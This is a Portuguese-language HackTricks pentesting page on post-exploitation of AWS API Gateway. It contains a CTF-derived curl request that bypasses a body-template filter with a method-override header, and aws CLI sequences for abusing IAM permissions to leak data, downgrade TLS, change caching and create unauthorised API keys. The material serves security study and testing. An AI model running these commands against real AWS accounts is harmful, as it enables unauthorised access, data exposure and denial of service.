AWS - API Gateway Post Exploitation

Suporte ao HackTricks

API Gateway

Para mais informações, confira:

AWS - API Gateway Enum

Acessar APIs não expostas

Você pode criar um endpoint em https://us-east-1.console.aws.amazon.com/vpc/home#CreateVpcEndpoint com o serviço com.amazonaws.us-east-1.execute-api, expor o endpoint em uma rede onde você tenha acesso (potencialmente via uma máquina EC2) e atribuir um grupo de segurança permitindo todas as conexões. Então, a partir da máquina EC2, você poderá acessar o endpoint e, portanto, chamar a API do gateway que não estava exposta anteriormente.

Bypass Request body passthrough

Esta técnica foi encontrada em este writeup de CTF.

Como indicado na documentação da AWS na seção PassthroughBehavior, por padrão, o valor WHEN_NO_MATCH, ao verificar o cabeçalho Content-Type da solicitação, passará a solicitação para o back end sem transformação.

Portanto, no CTF, o API Gateway tinha um template de integração que estava impedindo que a flag fosse exfiltrada em uma resposta quando uma solicitação era enviada com Content-Type: application/json:

RequestTemplates:
application/json: '{"TableName":"Movies","IndexName":"MovieName-Index","KeyConditionExpression":"moviename=:moviename","FilterExpression": "not contains(#description, :flagstring)","ExpressionAttributeNames": {"#description": "description"},"ExpressionAttributeValues":{":moviename":{"S":"$util.escapeJavaScript($input.params(''moviename''))"},":flagstring":{"S":"midnight"}}}'

No entanto, enviar uma solicitação com Content-type: text/json impediria esse filtro.

Finalmente, como o API Gateway estava permitindo apenas Get e Options, era possível enviar uma consulta arbitrária do dynamoDB sem nenhum limite, enviando uma solicitação POST com a consulta no corpo e usando o cabeçalho X-HTTP-Method-Override: GET:

curl https://vu5bqggmfc.execute-api.eu-north-1.amazonaws.com/prod/movies/hackers -H 'X-HTTP-Method-Override: GET' -H 'Content-Type: text/json'  --data '{"TableName":"Movies","IndexName":"MovieName-Index","KeyConditionExpression":"moviename = :moviename","ExpressionAttributeValues":{":moviename":{"S":"hackers"}}}'

Planos de Uso DoS

Na seção Enumeração, você pode ver como obter o plano de uso das chaves. Se você tiver a chave e ela estiver limitada a X usos por mês, você pode apenas usá-la e causar um DoS.

A Chave da API só precisa ser incluída dentro de um cabeçalho HTTP chamado x-api-key.

apigateway:UpdateGatewayResponse, apigateway:CreateDeployment

Um atacante com as permissões apigateway:UpdateGatewayResponse e apigateway:CreateDeployment pode modificar uma Resposta de Gateway existente para incluir cabeçalhos personalizados ou modelos de resposta que vazam informações sensíveis ou executem scripts maliciosos.

API_ID="your-api-id"
RESPONSE_TYPE="DEFAULT_4XX"

# Update the Gateway Response
aws apigateway update-gateway-response --rest-api-id $API_ID --response-type $RESPONSE_TYPE --patch-operations op=replace,path=/responseTemplates/application~1json,value="{\"message\":\"$context.error.message\", \"malicious_header\":\"malicious_value\"}"

# Create a deployment for the updated API Gateway REST API
aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod

Impacto Potencial: Vazamento de informações sensíveis, execução de scripts maliciosos ou acesso não autorizado a recursos da API.

Necessita de teste

apigateway:UpdateStage, apigateway:CreateDeployment

Um atacante com as permissões apigateway:UpdateStage e apigateway:CreateDeployment pode modificar um estágio existente do API Gateway para redirecionar o tráfego para um estágio diferente ou alterar as configurações de cache para obter acesso não autorizado a dados em cache.

API_ID="your-api-id"
STAGE_NAME="Prod"

# Update the API Gateway stage
aws apigateway update-stage --rest-api-id $API_ID --stage-name $STAGE_NAME --patch-operations op=replace,path=/cacheClusterEnabled,value=true,op=replace,path=/cacheClusterSize,value="0.5"

# Create a deployment for the updated API Gateway REST API
aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod

Impacto Potencial: Acesso não autorizado a dados em cache, interrompendo ou interceptando o tráfego da API.

Necessita de teste

apigateway:PutMethodResponse, apigateway:CreateDeployment

Um atacante com as permissões apigateway:PutMethodResponse e apigateway:CreateDeployment pode modificar a resposta do método de um método REST API existente do API Gateway para incluir cabeçalhos personalizados ou templates de resposta que vazam informações sensíveis ou executem scripts maliciosos.

API_ID="your-api-id"
RESOURCE_ID="your-resource-id"
HTTP_METHOD="GET"
STATUS_CODE="200"

# Update the method response
aws apigateway put-method-response --rest-api-id $API_ID --resource-id $RESOURCE_ID --http-method $HTTP_METHOD --status-code $STATUS_CODE --response-parameters "method.response.header.malicious_header=true"

# Create a deployment for the updated API Gateway REST API
aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod

Impacto Potencial: Vazamento de informações sensíveis, execução de scripts maliciosos ou acesso não autorizado a recursos da API.

Necessita de teste

apigateway:UpdateRestApi, apigateway:CreateDeployment

Um atacante com as permissões apigateway:UpdateRestApi e apigateway:CreateDeployment pode modificar as configurações da API Gateway REST API para desativar o registro ou alterar a versão mínima do TLS, potencialmente enfraquecendo a segurança da API.

API_ID="your-api-id"

# Update the REST API settings
aws apigateway update-rest-api --rest-api-id $API_ID --patch-operations op=replace,path=/minimumTlsVersion,value='TLS_1.0',op=replace,path=/apiKeySource,value='AUTHORIZER'

# Create a deployment for the updated API Gateway REST API
aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod

Impacto Potencial: Enfraquecendo a segurança da API, permitindo potencialmente acesso não autorizado ou expondo informações sensíveis.

Necessita de teste

apigateway:CreateApiKey, apigateway:UpdateApiKey, apigateway:CreateUsagePlan, apigateway:CreateUsagePlanKey

Um atacante com permissões apigateway:CreateApiKey, apigateway:UpdateApiKey, apigateway:CreateUsagePlan e apigateway:CreateUsagePlanKey pode criar novas chaves de API, associá-las a planos de uso e, em seguida, usar essas chaves para acesso não autorizado às APIs.

# Create a new API key
API_KEY=$(aws apigateway create-api-key --enabled --output text --query 'id')

# Create a new usage plan
USAGE_PLAN=$(aws apigateway create-usage-plan --name "MaliciousUsagePlan" --output text --query 'id')

# Associate the API key with the usage plan
aws apigateway create-usage-plan-key --usage-plan-id $USAGE_PLAN --key-id $API_KEY --key-type API_KEY

Impacto Potencial: Acesso não autorizado a recursos da API, contornando controles de segurança.

Necessita de teste

Suporte HackTricks

Last updated